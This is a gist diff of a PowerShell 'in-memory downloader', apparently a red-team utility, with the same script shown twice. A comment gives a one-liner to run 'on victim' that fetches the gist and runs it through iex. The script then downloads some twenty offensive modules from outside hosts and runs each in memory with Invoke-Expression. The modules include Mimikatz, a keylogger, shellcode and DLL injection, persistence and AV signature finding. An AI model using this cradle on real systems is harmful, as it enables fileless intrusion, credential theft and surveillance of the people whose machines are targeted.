davehardy20 · July 16, 2018 22:00 · kakaibanonoy12 · Jul 16, 2018
diff --git a/in-memory-downloader.ps1 b/in-memory-downloader.ps1
 #Most Useful PowerSploit and PowerTools Modules that can be loaded into memory
 # Use this line in PowerShell on victim to pull into memory the modules
 #(New-Object Net.WebClient).DownloadString("https://gist.githubusercontent.com/davehardy20/a81fb1eaabf2512fce88/raw/0d92460eb8d43183d2ce42e3e7cfa367740426b6/in-memory-downloader.ps1")|iex
 $downloadcradle = New-Object Net.WebClient
 $modules = @(
 "https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/VolumeShadowCopyTools.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassCommand.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassSearch.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassTemplate.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassTokens.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Persistence/Persistence.psm1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/AntivirusBypass/Find-AVSignature.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-ShellcodeMSIL.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Recon/Invoke-Portscan.ps1")
 #Build the download command line iterate through modules and import
 ForEach ($module in $modules) {
 $command = $($downloadcradle).DownloadString($($module))
 Invoke-Expression $command
 }
	#Most Useful PowerSploit and PowerTools Modules that can be loaded into memory
	# Use this line in PowerShell on victim to pull into memory the modules
	#(New-Object Net.WebClient).DownloadString("https://gist.githubusercontent.com/davehardy20/a81fb1eaabf2512fce88/raw/0d92460eb8d43183d2ce42e3e7cfa367740426b6/in-memory-downloader.ps1")\|iex
	$downloadcradle = New-Object Net.WebClient
	$modules = @(
	"https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/VolumeShadowCopyTools.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get-TimedScreenshot.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerUp/PowerUp.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PowerView/powerview.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassCommand.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassSearch.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassTemplate.ps1","https://raw.githubusercontent.com/Veil-Framework/PowerTools/master/PewPewPew/Invoke-MassTokens.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Persistence/Persistence.psm1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/AntivirusBypass/Find-AVSignature.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-ShellcodeMSIL.ps1","https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Recon/Invoke-Portscan.ps1")
	#Build the download command line iterate through modules and import
	ForEach ($module in $modules) {
	$command = $($downloadcradle).DownloadString($($module))
	Invoke-Expression $command
	}